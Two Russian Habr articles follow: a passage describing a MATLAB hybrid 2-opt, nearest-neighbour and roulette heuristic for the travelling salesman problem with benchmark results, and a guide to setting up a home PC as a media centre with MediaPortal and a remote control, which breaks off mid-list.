*Есть маршрут: [1,2,3,4,5,6,7,8] — путешественник посещает сначала 1-ый город, потом 2-ой и т.д. «Рандомить две вершины» означает случайно выбрать два числа (равномерным распределением), скажем пусть будут 2 и 6, затем инвертировать путь между ними. Путь примет вид: [1,**6**,5,4,3,**2**,8].*
Полный перебор частей инвертации пути выносим в функцию, которая принимает на вход маршрут (любой, даже самый некорректный), ищет наиболее выгодную часть маршрута для разворота, разворачивает его, дальше снова ищет наиболее выгодную часть маршрута с учетом предыдущих изменений и повторяет цикл до тех пор, пока ни одна замена части маршрута не улучшит дистанцию.
Данный метод известен как алгоритм 2opt. Однако в классическом 2opt алгоритме мы сразу разворачиваем часть маршрута, которое улучшает результат, здесь же мы ищем помимо стандартного 2opt еще и «лучшую замену».
Графическая иллюстрация:
на 1-ой gif анимации алгоритм сразу разворачивает найденную часть маршрута, которая улучшает общую дистанцию (стандартный 2-opt)
на 2-ой gif анимации алгоритм прогоняет все возможные замены части маршрута, далее разворачивает наиболее максимальную дельту (m. 2-opt)
В сегодняшнем алгоритме будем использовать второй вариант, поскольку по серии тестов он показывает куда лучшие результаты. Первый вариант оставим на доработку.
Итак у нас есть две функции которые оптимизируют маршрут неким «модернизированным методом имитации отжига». Осталось только передать параллельным циклом (в MatLabe оператор parfor позволяет задействовать все ядра ПК) в функцию пару тысяч таких маршрутов (которые тоже будут созданы параллельным циклом) и выбрать лучший из них.
**Функция перебора (лучшая замена)**
```
% Функция перебора всех пар ребер для задачи коммивояжера
% модернизированная версия метода отжига (лучшая замена)
% dist - матрица дистанций
% route - маршрут
% openclose - считать как закрытую или открытую задачу
%------------------------------------------------------------------------
function [tour, distance] = all_brute_best(dist,route,n)
global_diff = -0.1;
best_dist = inf;
% если перестановки ребер не улучшают результат, выходим из цикла
while global_diff < 0
global_diff = 0;
p1 = route(n);
% Цикл по всем ребрам
for i = 1:n-2
t1 = p1;
p1 = route(i);
t2 = route(i+1);
spd_var = dist(t1,p1);
for j = i+2:n
p2 = t2;
t2 = route(j);
diff = (dist(t1,p2) - dist(p2,t2))...
+ (dist(p1,t2) - spd_var);
% индексы на инвертацию пути с наибольшим эффектом
if global_diff > diff
global_diff = diff;
% "лучшие" индексы для замены ребер
imin = i; jmin = j;
end
end
end
% Инвертируем путь
if global_diff < 0
route(imin:jmin-1) = route(jmin-1:-1:imin);
end
end
%--------------------------------------------------------------------
% считаем общее расстояние
cur_dist = 0;
for i = 1:n-1
cur_dist = cur_dist + dist(route(i),route(i+1));
end
% считаем возврат в первый город
cur_dist = cur_dist + dist(route(1),route(end));
%--------------------------------------------------------------------
% выбираем лучший маршрут
if cur_dist < best_dist
best_route = route;
best_dist = cur_dist;
end
% переборный маршрут - его дистанция
distance = best_dist;
% сам маршрут
tour = best_route;
end
```
**Функция перебора (каждая замена)**
```
% Функция перебора всех пар ребер для задачи коммивояжера
% модернизированная версия метода отжига (каждая замена)
% dist - матрица дистанций
% route - маршрут
% openclose - считать как закрытую или открытую задачу
%-------------------------------------------------------------------------
function [tour, distance] = all_brute_first(dist,route,n)
global_diff = -0.1;
best_dist = inf;
% если перестановки ребер не улучшают результат, выходим из цикла
while global_diff < 0
global_diff = 0;
p1 = route(n);
% Цикл по всем ребрам
for i = 1:n-2
t1 = p1;
p1 = route(i);
t2 = route(i+1);
spd_var = dist(t1,p1);
for j = i+2:n
p2 = t2;
t2 = route(j);
diff = (dist(t1,p2) - dist(p2,t2))...
+ (dist(p1,t2) - spd_var);
% индексы на инвертацию пути с наибольшим эффектом
if diff < 0
global_diff = diff;
% "лучшие" индексы для замены ребер
imin = i; jmin = j;
break
end
end
% выход с цикла
if diff < 0
break
end
end
% Инвертируем путь
if global_diff < 0
route(imin:jmin-1) = route(jmin-1:-1:imin);
end
end
%--------------------------------------------------------------------
% считаем общее расстояние
cur_dist = 0;
for i = 1:n-1
cur_dist = cur_dist + dist(route(i),route(i+1));
end
% считаем возврат в первый город
cur_dist = cur_dist + dist(route(1),route(end));
%--------------------------------------------------------------------
% выбираем лучший маршрут
if cur_dist < best_dist
best_route = route;
best_dist = cur_dist;
end
% переборный маршрут - его дистанция
distance = best_dist;
% сам маршрут
tour = best_route;
end
```
Вот тут и начинается самое интересное.
Какие маршруты передавать? Естественно при выходе они должны максимально содержать разные фигуры (см. выше). Также если передавать просто рандомный массив, то глобально лучшего результата мы и не увидим. Итак пусть наш массив маршрутов на вход функции «all\_brute\_best» будет состоять из разных алгоритмов.
Первое, пришедшее сразу на ум это [метод ближайшего соседа](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%B1%D0%BB%D0%B8%D0%B6%D0%B0%D0%B9%D1%88%D0%B5%D0%B3%D0%BE_%D1%81%D0%BE%D1%81%D0%B5%D0%B4%D0%B0). Выйдем с каждого города по разу, и получим массив размерностью nxn маршрутов (n — количество городов). Затем данный массив передадим в функцию оптимизации.
На Matlabe ближайший город будет посещаться следующим образом:
**Метод ближайших соседей**
```
parfor k = 1:n
% временная матрица (выгорает при посещении вершины)
dist_temp = dist;
% маршрут по ближайшим городам
route = zeros(1,n);
% первая стартовая позиция
next_point = start_route(k);
% заполнение маршрута
route(1) = next_point;
% посещаем каждый ближайший город
for e = 2:n
% выгорание матрицы
dist_temp(next_point,:) = nan;
% поиск ближайшего оставшегося города
[~,next_point] = min(dist_temp(:,next_point));
% заполнение маршрута
route(e) = next_point;
end
% првоеряем на уникальность и перестраиваем маршруты с 1-ого города
if check_routes == true
route = check_tour(route);
end
% массив машрутов
arr_route_in(k,:) = route;
end
```
Вообще, задачи TSP (traveling salesman problem) решались многими. Решались они и самыми «навароченными» алгоритмами. Так на [сайте](http://www.math.uwaterloo.ca/tsp/data/) выкладываются лучшие найденные решения на сегодняшний день.
Проверим алгоритм на задаче Eil76, наглядная работа которого представлена ниже. Лучший найденный путь составляет 538.
После совершения всех 76 оптимизаций получаем лучший найденный маршрут — 545. Затраченное время 0,15 секунды. Данный алгоритм всегда будет находить расстояние в 545, так как доли случайности в нем нет. Ошибка от глобального составляет 1.3%.
Теперь самое интересное. Как Вы наверно заметили мы только смешали жадный алгоритм, метод brute force (полный перебор) и имитационный отжиг. Теперь пришло время добавить немного муравьиного алгоритма. Сейчас в нашем алгоритме до передачи в функцию оптимизации с вероятностью 100% осуществляется переход в ближайший город. Наша задача, дабы отыскать лучший найденный маршрут, составить как можно больше «фигур» и передать их в функцию. Как мы помним у муравьиного алгоритма (AS) вероятность перехода из вершины i в вершину j определяется по следующей формуле:
где [τ(i,j)] — уровень феромона на ребре (i,j), [n(i,j)] — вес обратный расстоянию на ребре (i,j), β — регулируемый параметр, чем он выше, тем алгоритм будет склонен выбирать ребро, имеющее меньшее расстояние. Поскольку в данном алгоритме феромонов, нет, то уберем их. Оставим только уровень «жадности» алгоритма. Ведем как в ACS вероятность выбора не посещенной вершины. Либо выбираем только кратчайший город, либо переходим следующим образом:
Вероятность выбора следующего ребра будет обратно пропорциональна его длине. Также введем переменную, отвечающую за выборку еще не посещенных городов. То есть при выборе очередной вершины мы не будем учитывать все оставшиеся, а будем выбирать среди N-ого количества оставшихся вершин. N — параметр задаваемый пользователем. Данную идею взял у генетического алгоритма. В генетическом алгоритме есть понятие «отбора», на этапе котором нужно из всей текущей популяции выбрать определенную долю, которая останется «жить». Вероятность выживания особи должна зависеть от значения функции приспособленности. Здесь же значение функции приспособленности — расстояние ребра, а популяция — доля оставшихся не посещенных городов. Просто из всей популяции мы выбираем только одну «особь», т.е. одну вершину. Формула вероятности принятия следующего ребра примет вид:
где *q* — вероятность принятие альтернативного решения (не обязательно кратчайшего ребра)
*r* — случайное число [0;1]
*N* — ребра, участвующие в выборе (сортируемые)
Таким образом мы сформируем множество «контролируемых» различных маршрутов на вход функции all\_brute. Под словом контролируемых подразумевается контроль случайности маршрута. Чем более параметр *q* будет стремиться к 1, так же как и *N* будет стремиться к общему количеству городов, тем более случайным будет поиск.
**Функция построения маршрутов**
```
% (probability several route)
% Функция, возвращаемая массив маршрутов методом рулетки среди топ вершин
% dist - матрица расстояний
% tour_sev - кол-во создаваемых маршрутов
% n - кол-во вершин
% tour_select - кол-во потенциальных вершин
% check_routes - проверка на уникальность и перестроение вершин
% p_change - вероятность перехода на альтернативный путь
%-------------------------------------------------------------------------
function [arr_several_route] = psr(dist,tour_sev,n,tour_select,cr,p_change)
% возвращаемый массив (память)
arr_several_route = zeros(tour_sev,n);
parfor k = 1:tour_sev
% временная матрица (выгорает при посещении вершины)
dist_temp = dist;
% маршрут по ближайшим городам
route = zeros(1,n);
% первая стартовая позиция (в данном случае случайная)
next_point = randi([1,n]);
% заполнение первой вершины маршрута
route(1) = next_point;
% счетчик
count_var = 0;
% цикл по посещениям вершин
for e = 2:n
% выгорание матрицы посещенной вершины
dist_temp(next_point,:) = nan;
% счетчик
count_var = count_var + 1;
% вероятность выбора альтернативной вершины
if rand(1) > p_change
% выбираем безусловно кратчайший путь к k-ому городу
% поиск ближайшего оставшегося города
[~,next_point] = min(dist_temp(:,next_point));
else
% выбираем альтернативную вершину
% массив дистанций перехода к следующей вершине (обратные)
arr_next = 1./(dist_temp(:,next_point));
% сайт хабрахабр транспонирование матрицы в массиве не
% воспринимает, поэтому переменная "habrahabr_vis" лишняя
habrahabr_vis = (1:1:n)';
% приписываем индексы к массиву
arr_next = [arr_next, habrahabr_vis];
% сортируем массив вместе с индексами
arr_next_sort = sortrows(arr_next,1);
% чтобы диапозон rand был корректен
if (n - count_var) < tour_select
tour_select_fun = (n - count_var);
else
tour_select_fun = tour_select;
end
% считаем вероятность перехода среди топ вершин
P = arr_next_sort(1:tour_select_fun,:);
P(:,1) = P(:,1)./sum(P(:,1));
randNumb = rand;
next_point = P(find(cumsum(P) >= randNumb, 1, 'first'),2);
end
% заполнение маршрута
route(e) = next_point;
end
% првоеряем и перестраиваем маршруты с 1-ого города
if cr == true
route = check_tour(route);
end
% заполнение массива маршрутов (возвращаемый результат)
arr_several_route(k,:) = route;
end
```
Итак, смотрим результаты на различных задачах:
Точные решения:
Задача **Oliver30** (30 вершин). Глобальный лучший путь — 423.741
Параметры: *кол-во создаваемых маршрутов на вход — 500*
*q = 0.03*
*N = 10*
Задача **Eil51** (51 вершина). Глобальный лучший путь — 426
Параметры: *кол-во создаваемых маршрутов на вход — 2500*
*q = 0.03*
*N = 5*
Задача **Eil76** (76 вершин). Глобальный лучший путь — 538
Параметры: *кол-во создаваемых маршрутов на вход — 4000*
*q = 0.03*
*N = 10*
Задача **Eil101** (101 вершина). Глобальный лучший путь — 629
Параметры: *кол-во создаваемых маршрутов на вход — 2500*
*q = 0.03*
*N = 6*
Задача **Ch150** (150 вершин). Глобальный лучший путь — 6528
Параметры: *кол-во создаваемых маршрутов на вход — 40000*
*q = 0.05*
*N = 10*
Хороший получился результат. Да, данный алгоритм намного эффективней эвристических алгоритмов, таких как метода имитации отжига или генетического алгоритма. Но согласитесь, спектр решения задач генетическим алгоритмом крайне широк, что нельзя сказать о данном алгоритме. Однако, интересно было узнать результат при смешивании различных алгоритмов.
Главная цель данного алгоритма — это создание массива оптимизированных маршрутов, также как и их массива дистанций. В следующей статье мы, с помощью данного массива, совместим генетический и муравьиный алгоритм. Задействуем вычисления на GPU. И замахнемся на нахождение глобального лучшего пути в 500, 1000 и 2000 вершин на домашнем ПК за весьма приемлемое время. Забегая вперед скажу что это вполне реально.
Итак, в данной статье мы нашли лучшие найденные пути на сегодняшний день в различных задачах. Огромная пропасть между лучшим найденным когда-либо и приближенным решением. Если данным алгоритмом находить приближенные решения, то время выполнения алгоритма будет в 10-ки раз ниже.
Ниже основной код алгоритма с комментариями (выше публиковались его функции)
**Main**
```
% TSP() (на примере задачи коммивояжера)
%------------------------------------------------------------------------%
if exist('cities','var') == 1
clearvars -except cities
n = length(cities(:,1));
else
clearvars
intvar = inputdlg({'Кол-во вершин'}...
,'TSP',1);
n = str2double(intvar(1));
if isnan(n) || n < 0
msgbox 'Введите корректные значения'
return
else
cities = rand(n,2)*100;
end
end
% начало счетчика времени алгоритма
tic
%-------------------------------Параметры--------------------------------%
% старт с определенного города (номер строки x и y координат)
start_tour = 1;
% проверка на уникальность маршрутов, перестроение маршрутов с первых
% городов (для проверки корректности алгоритма)
check_routes = false;
% использование метода рулетки при выбора определенного города
roulete_method = false;
% метод рулетки (кол-во маршрутов)
if roulete_method == true
crrm = 1000;
end
% метод рулетки для топ "ts" кратчайших путей
top_roulete_method = true;
if top_roulete_method == true
% кол-во создаваемых маршрутов методом "топ рулетки"
ctrrm = 1000;
% выбор топ самых привлекательных городов для перехода
ts = 10;
% вероятность принятия альтернативного решения
p_change = 0.05;
end
%--------------------------------Память----------------------------------%
% матрица расстояний между городами
dist = zeros(n,n);
% лучший маршрут (расстояние)
best_dist = inf;
% массив маршрутов на вход функции brute_edge
arr_route_in = zeros(n,n);
% бета - коэффициент (на доработку)
% b = 1;
%------------------------------------------------------------------------%
% матрица расстояний
for i = 1:n
for j = 1:n
dist(i,j) = sqrt((cities(i,1) - cities(j,1))^2 + ...
(cities(i,2) - cities(j,2))^2);
end
end
% округление матрицы дистанций
dist = round(dist);
% матрица обратных расстояний
returndist = 1./dist;
% генерируем стартовый маршрут (алгоритм ближайшего соседа)
start_route = linspace(1,n,n);
% стартовый маршрут с определенного города
if start_tour > n || start_tour < 1
start_tour = 1;
end
% перестраиваем стартовый маршрут с определнного города "start_tour"
start_route(start_tour) = 1; start_route(1) = start_tour;
% создаем массив маршрутов методом ближайшего соседа
% стартуем с каждого последующего города
% parfor - параллельный цикл
parfor k = 1:n
% временная матрица (выгорает при посещении вершины)
dist_temp = dist;
% маршрут по ближайшим городам
route = zeros(1,n);
% первая стартовая позиция
next_point = start_route(k);
% заполнение маршрута
route(1) = next_point;
% посещаем каждый ближайший город
for e = 2:n
% выгорание матрицы
dist_temp(next_point,:) = nan;
% поиск ближайшего оставшегося города
[~,next_point] = min(dist_temp(:,next_point));
% заполнение маршрута
route(e) = next_point;
end
% првоеряем на уникальность и перестраиваем маршруты с 1-ого города
if check_routes == true
route = check_tour(route);
end
% массив машрутов
arr_route_in(k,:) = route;
end
% создаем массив маршрутов методом топ ближайших соседей (методом рулетки)
% вероятность посещения вершины обратно пропорциональна длине ребра
if top_roulete_method == true
arr_several = psr(dist,ctrrm,n,ts,check_routes,p_change);
arr_route_in = [arr_route_in; arr_several];
end
% создаем массив маршрутов методом рулетки
% вероятность посещения вершины обратно пропорциональна длине ребра
if roulete_method == true
% получаем массив маршрутов, выбором рулетки
[randRoute] = prr(returndist,crrm,n,check_routes);
% совмещаем два массива путей
arr_route_in = [arr_route_in;randRoute];
end
% % перестраиваем маршруты с первого города
% parfor r = 1:size(arr_route_in, 1);
% temp_route = arr_route_in(r,:);
% [~,numb_ix] = find(temp_route == 1);
% if numb_ix ~= 1
% temp_route = [temp_route(numb_ix:end),temp_route(1:numb_ix-1)];
% elseif numb_ix == n
% temp_route = fliplr(temp_route);
% end
% arr_route_in(r,:) = temp_route;
% end
% если есть, удаляем дубликаты маршрутов
arr_route_in = unique(arr_route_in,'rows');
%--------------------------------Память----------------------------------%
% массив дистанций с учетом оптимизаций (выход)
arr_tour_out = zeros(size(arr_route_in,1),n);
% массив результатов с учетом оптимизаций (выход)
arr_result = zeros(size(arr_route_in,1),1);
%------------------------------------------------------------------------%
% параллельное вычисление маршрутов (модернизированная оптимизация)
spdvar = size(arr_route_in, 1);
parfor i = 1:spdvar
% [tour, distance] = all_brute_first(dist,arr_route_in(i,:),n);
[tour, distance] = all_brute_best(dist,arr_route_in(i,:),n);
arr_tour_out(i,:) = tour;
arr_result(i,1) = distance;
end
% конец счетчика времени алгоритма
toc
% лучшая найденная дистанция
[best_length,best_indx] = min(arr_result);
% перестраиваем лучший маршрут с 1-ого города
best_route = arr_tour_out(best_indx,:);
% % среднее значение результатов
% mean(arr_result)
%-------------------------------Графика----------------------------------%
tsp_plot = figure(1);
set(tsp_plot,'name','TSP','numbertitle','off'...
,'color','w','menubar','none')
set(gcf,'position',[2391 410 476 409]);
opt_tour(:,[1,2]) = cities(best_route,[1,2]);
plot([opt_tour(:,1);opt_tour(1,1)],[opt_tour(:,2);opt_tour(1,2)],'-g.', ...
'linewidth',1.5)
set(gca,'color','k')
title(['TSP best distance = ',num2str(round(best_length,2))])
xlabel('cities');
ylabel('cities')
%------------------------------------------------------------------------%
fprintf('%s %d\n','Лучшая дистанция равна',round(best_length));
clearvars -except cities arr_result arr_tour_out arr_route_in ...
n best_length opt_tour dist openclose
```
Спасибо за внимание. До новых встреч. | https://habr.com/ru/post/335016/ | null | ru | null |
# Как из домашнего компьютера сделать «два в одном» – домашний кинотеатр + персональный компьютер
Если вдруг у вас дома есть игровой компьютер, не обязательно топовый, главное чтобы на нем нормально работала Windows 7 или XP, и была хотя бы средняя видеокарта с двумя видео выходами, то вы можете, не докупая дорогих комплектующих сделать хороший универсальный мультимедиа центр. При этом вы, конечно же, не лишитесь всех старых функций своего персонального компьютера.
Изучением вопроса создания домашнего кинотеатра на основе персонального компьютера я занялся уже давно. Конечно, пробовал кое, что реализовать на практике. А также рассматривал варианты готовых плееров, таких как Popcorn Hour или WD TV Live. Но для меня важным было несколько параметров, из-за которых многие варианты не подходили.
Помимо проигрывания музыки, видео, просмотра роликов на YouTube, мне бы хотелось, чтобы у моих домашних была возможность смотреть телевизионные каналы. Живу я в небольшом городе и поэтому рассматривалось только спутниковое телевидение. Так как я заядлый геймер мне бы хотелось иногда поиграть на этом устройстве. Хотелось добиться такого же комфорта игры за компьютером в некоторые игры, как например, играя на современной приставке, при этом, не покупая последнюю. Под комфортом я, конечно, имею ввиду управление джойстиком и удобное место расположения игрока на диване или кресле.
Для таких специфических целей подходит только персональный компьютер под управлением Windows 7 или XP. Можно конечно приобрести несколько специальных устройств и переключаться между ними по мере необходимости. Для тв – спутниковый рессивер, для игр – приставка, для видео и музыки – компьютер или специальный медиаплеер. Но мне хотелось все это объединить, но при этом не ограничивать функции каждого из устройств. Ниже я расскажу о своей не стандартной домашней конфигурации, а вы легко сможете оценить ее преимущества и недостатки, а также подстроить ее под свои нужды.
Вообще [HTPC](http://ru.wikipedia.org/wiki/HTPC) делают отдельно стоящей коробочкой. Желательно поменьше и бесшумной. Я же предлагаю доработать свой персональный домашний компьютер и получить все-в-одном. Эта мысль пришла мне в голову, когда я понял что мой компьютер и так работает почти круглосуточно, и я уже пытаюсь, и довольно успешно, сделать его менее шумным. То есть он уже отвечает, по крайней мере, одному из требований HTPC. С размером тоже проблем нет, ведь это не отдельное устройство. Системный блок уже есть, и бОльшего места он не займет. Осталось решить, как сделать так, чтобы этот компьютер можно было использовать и в качестве медиацентра и при этом не потерять его основных функций.
Конфигурация универсального мультимедиа компьютера выглядит следующим образом:
Стандартный компьютер, который включает в себя материнскую плату со встроенной или дискретной звуковой картой, процессор, память, жесткий диск, видеокарту (желательно NVIDIA, почему – объясню позже) обязательно с двумя выдеовыходами. Конечно, понадобятся клавиатура и мышь, любой корпус, а также монитор. Все это наверняка и так у вас уже есть, а вот то что нужно будет приобрести для того чтобы компьютер получил функции домашнего кинотеатра.
Понадобится телевизор с HDMI интерфейсом, настолько большой, насколько вы себе можете позволить. Обратите внимание, при покупке телевизора вам обязательно нужно посмотреть какое разрешение он будет поддерживать при подключении к ПК. Бывают модели, в которых оно отличается от родного. То есть если вы покупаете телевизор с разрешением FullHD (1920\*1080), то убедитесь, что такое же разрешение поддерживается телевизором при подключении к компьютеру. Понятно, что телевизор вам нужен будет в любом случае, ведь для этого все и затевалось.
Также нужно купить пульт дистанционного управления. Очень рекомендую [Microsoft Remote Control and Receiver](http://www.nix.ru/autocatalog/mmedia/Microsoft_Remote_and_Receiver_v1.0A_MCE_USB_Receiver_52903.html), но вообще подойдет практически любой даже [самодельный](http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=%D1%81%D0%B0%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9+%D0%BF%D1%83%D0%BB%D1%8C%D1%82+%D0%B4%D1%83+%D0%B4%D0%BB%D1%8F+%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%B0).
Если вы не аудиофил то подойдет обычный HDMI кабель умеющий передавать звук. Если хотите, конечно, можно установить хорошее оборудование для звука, я ограничился встроенными колонками в телевизоре и акустической системой 2.1 плюс наушники.
Также, если вы планируете играть на универсальном компьютере, вам понадобиться джойстик. Самый лучший геймпад для персонального компьютера это – Microsoft Xbox 360 Controller. Не подумайте что я фанат Microsoft, но действительно на практике вы не найдете лучше геймпада для компьютера, да и те ПДУ что [лучше](http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=logitech+harmony#q=logitech+harmony&hl=ru&prmd=imvnsr&source=lnms&tbm=prc&ei=kmIeT9eKA8Sd-Qalvbk4&sa=X&oi=mode_link&ct=mode&cd=6&ved=0CB8Q_AUoBQ&bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&fp=b066487c2) Microsoft Remote Control стоят на порядок дороже.
Если вам, как и мне, нужно чтобы мультимедиа компьютер умел показывать телевизионные каналы, вам понадобиться тв тюнер. В моем случае это DVB-S2 карта, предназначенная для приема спутникового телевидения. Для городских жителей это может быть, например, гибридный тв-тюнер который умеет принимать аналоговый и цифровой DVB-T сигналы. Или вообще можно обойтись IPTV, если ваш провайдер предоставляет такие услуги, в этом случае дополнительно покупать ничего не нужно.
Для просмотра YouTube и других подобных сервисов, вам понадобиться только боле менее хороший интернет канал, который у вас уже наверняка имеется.
Ну, вот и все, с покупками закончили. Переходим к самому главному, к выбору оболочки для медиацентра. Так как мне нужно было, чтобы на моем компьютере можно было играть, вопрос выбора операционной системы не стоял. Windows 7 идеально подходит, надеюсь эта операционная система у вас уже есть. Помимо большого ассортимента игр у вас не будет никаких проблем с драйверами для некоторых DVB карт.
В качестве оболочки для медиацентра мной был выбран [MediaPortal](http://www.team-mediaportal.com/). Вообще существуют несколько достойных альтернатив (например, XBMC), но для описанных задач MediaPortal подойдет идеально.
Самая главная функция MediaPortal’а, которая в нашей конфигурации жизненно необходима, это возможность запустить его независимо на любом подключенном экране компьютера.
К видеокарте компьютера нужно подключить монитор и телевизор одновременно. Если вы подключите телевизор через HDMI интерфейс, вы избавитесь от лишних проводов, так как по нему будет передаваться и видео и звук. После этого в настройках MediaPortal’а появится опция выбора экрана запуска.
Выбрав эту опцию, привязываем MediaPortal к телевизору, теперь он будет запускаться только на этом экране. Зайдя в настройках в раздел «Кодеки» выберем HDMI выход в качестве звукового рендера. Обратите внимание, что это нужно сделать во всех вкладках (ТВ, Видео, DVD).
Здесь же, во вкладке «видео рендер», кроется преимущество Windows 7 перед XP. Дело в том, что Enhanced Video Render, доступный в семерке, позволяет использовать все функции MediaPortal’а и игры одновременно. То есть на телевизоре будет работать MediaPortal, а за монитором вы можете играть в любую игру. При этом ничего друг-друг мешать не будет.
Стоит опять же обратить внимание на установленные кодеки в вашей системе. Если вы не искушенный пользователь, то можете воспользоваться специальными кодек-паками для MediaPortal’а – [SAF v4](http://forum.team-mediaportal.com/codecs-external-players-55/saf-v4-00-stable-standalone-filters-dxva-ready-h-264-vc-1-a-44614/) или [SAF v6](http://forum.team-mediaportal.com/codecs-331/saf-v6-based-lavf-95635/). Затем нужно правильно настроить кодеки, включив аппаратное ускорение и наконец, выбрать их в настройках MediaPortal’а.
Если у вас кодеки настроены правильно и видео будет проигрываться с аппаратным ускорением, то MediaPortal будет отнимать минимальный процент ресурсов процессора (на моей системе 2-7%). Памяти он скушает не так мало как хотелось бы, но кто сейчас вообще смотрит на память. Вообще, система жизнеспособна даже с двумя гигабайтами оперативной памяти.
Чем же, в этом случае, видеокарты фирмы NVIDIA лучше AMD? Дело в том что телевизор, подключенный ко второму входу видеокарты вы будете иногда выключать. При этом если у вас видеокарта фирмы NVIDA то он не будет пропадать из списка устройств, и если у вас в этот момент включен MediaPortal, то ничего страшного не произойдет. А вот с видеокартами AMD прямо беда в этом смысле. Выключаете телевизор, компьютер его «теряет», при этом запущенный MediaPortal перескакивает на основной монитор, а также теряет устройство вывода звука. Но вообще, если вы будете сначала выключать программу, и только затем выключать телевизор, то все будет нормально, тем более что после включения телевизора он снова автоматически появляется в системе. Возможно, все зависит не только от производителя, все-таки я опираюсь на собственный не очень богатый опыт использования нескольких видеокарт.
В принципе можно использовать даже интегрированную видеокарту, главное удостовериться, что в ней два видеовыхода и оба можно использовать одновременно.
Теперь нужно что-то решить с управлением. Ведь если вы будете работать (или играть) за основным монитором с помощью клавиатуры и мыши, MediaPortal при этом будет либо реагировать на нажатия клавиш, либо, если он будет не в фокусе, им невозможно будет управлять с помощью ПДУ. Есть несколько хитростей, которые нам помогут.
Microsoft Remote Control and Receiver начнет работать сразу после того как будет подключен к компьютеру. Но чтобы получить доступ к гибким настройкам под наши цели, нужно установить специальную программу [IR Server Suite (IRSS)](http://forum.team-mediaportal.com/ir-server-suite-irss-165/). Она поддерживает кучу разных пультов, в том числе и те, что работают через [WinLIRC](http://winlirc.sourceforge.net/) по com порту. ПДУ от Microsoft программа понимает сразу, настройка других пультов – тема отдельного разговора.
Открываем настройки MediaPortal'а и переходим в раздел пультов, там снимаем галочку на использовании пульта от Microsoft.
Перейдя в раздел плагинов, находим «MP Control». В этом плагине мы можем переназначать клавиши пульта по своему вкусу, создавать макросы и тому подобное. Но вообще все должно работать без дополнительных настроек. Единственное, что обязательно нужно сделать, это снять галочку с опции «require focus», так мы научим пульт управлять MediaPortal’ом без необходимости переключаться на него.
Осталось только отучить пульт от управления другими приложениями, иначе будут неприятные ситуации. Например, если вы сидите за монитором и пользуетесь браузером, нажимая на ссылки в нем, браузер находится у вас в фокусе. В это время ваша девушка смотрит фильм и, нажимая кнопки пульта, в итоге управляет той программой, которая сейчас в фокусе, мешая вам пользоваться ей.
Чтобы избежать подобных ситуаций, нужно открыть редактор реестра и найти ветку
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HidIr\Remotes\745a17a0-74d3-11d0-b6fe-00a0c90f57da` (последние цифры могут быть другими)
Там находим и удаляем ключи с «CodeSetNum0» по «CodeSetNumX».
У Microsoft Remote Control есть еще одна замечательная особенность, которая позволяет избавиться от лишних пультов. Три кнопки у этого пульта программируются. Кнопку TV программируем на выключение, а VOL+, VOL- на управление громкостью телевизора. Как это сделать описано [здесь](http://habrahabr.ru/blogs/hardware/107839/).
Вот и все, теперь в нашей системе один пульт управляет только MediaPortal’ом и телевизором, а клавиатура и мышь используются в других программах.
Есть правда еще одна маленькая деталь, которая меня долгое время раздражала. Когда я работал за монитором, курсор мыши все время пытался вылезти на телевизор и это сильно мешало. К сожалению, в windows ужасно реализовано управление несколькими мониторами, и стандартными средствами ничего нельзя было сделать. Поэтому я попросил друга написать маленькую программу, которая ограничивала бы курсор на одном экране, что он вскоре и сделал, за что ему спасибо. Правда, позже я обнаружил замечательный проект — [Dual Monitor Tools](http://sourceforge.net/projects/dualmonitortool/). В нем есть не только программа, с помощью которой можно ограничивать курсор, но и несколько других значительно облегчающих работу с двумя мониторами. Например, программа DisMon позволит вам запускать игры на втором мониторе (в нашем случае телевизор), даже те в которых эта возможность не предусмотрена разработчиками.
Ну вот, попутно мы решили еще одну задачу – запуск игр на любом из установленных экранов. Если вам чем-то не понравилась программа DisMon, вы можете воспользоваться еще одной – [UltraMon](http://www.realtimesoft.com/ultramon/), но учтите, эта программа не бесплатна.
Стоит заметить, что при игре за телевизором нужно также как-то переключать на него звук, это решается выбором выхода HDMI в качестве звукового устройства по умолчанию перед запуском игры. Чтобы каждый раз долго не ползать в настройках системы, можно воспользоваться замечательной [программой](http://funk.eu/ssd/), позволяющей делать это с помощью одного клика мышки по ярлычку.
С телевидением особо расписывать нечего. Вставить DVB карту, поставить драйвера, настроить в сервере MediaPortal’а. Тут конечно много тонкостей и подводных камней, но если рассказывать, придется писать отдельную статью.
Под конец я опишу вам свою домашнюю систему для наглядности.
В первой комнате находится один из персональных компьютеров.
##### Конфигурация:
* Системная плата: Asus F1A75-V Pro
* Процессор: AMD A4-3300 APU with Radeon HD Graphics (2500 МГц)
* Видеоадаптер (интегрированный): AMD Radeon HD 6410D (512 Мб)
* Оперативная память: 3 Гб
* Дисковый накопитель: Western Digital 1 Тб и 750 Гб
* Кулер на процессоре: Scythe Ninja Mini (без вентилятора)
* Устройства ввода: Клавиатура, Мышь, ПДУ
* Блок питания: 350 Вт
* Монитор: Samsung 19"
* Телевизор: LG 32"
* Операционная система: Windows 7 x32
##### Его задачи:
* Выступать в качестве персонального компьютера в первой комнате. Серфинг, просмотр фильмов, интернет роликов, музыка и т.п.
Для осуществления этой задачи в первой комнате рядом с системным блоком располагаются монитор, клавиатура, мышь и звуковые колонки.
* Служить в качестве медиацентра во второй комнате. Просмотр фильмов, сериалов, тв программ, а также общение через скайп.
Для этого во второй комнате располагаются телевизор и рессивер пульта дистанционного управления, а также вебкамера. Телевизор подключен пятнадцатиметровым HDMI кабелем, проходящим через всю квартиру, причем кабель самый дешевый, даже без ферритовых колец. Рессивер ПДУ и камера подключены USB кабелями. Два пассивных кабеля по пять метров соединены вместе (не смог найти десяти метровых). Стоит заметить, что у рессивера Microsoft Remote Control пятиметровый кабель.
* Отвечать за прием спутникового телевидения и последующей трансляции потоков на клиенты, с помощью запущенного сервера MediaPortal’а.
Сигнал со спутника принимают две DVB карты, к которым подведены кабели от одной спутниковой антенны.
* Также этот компьютер служит в качестве медиахранилища и торрентокачалки. Работает он круглосуточно, без остановок.
В третьей комнате находится еще один персональный компьютер.
##### Конфигурация:
* Системная плата: Gigabyte GA-770TA-UD3
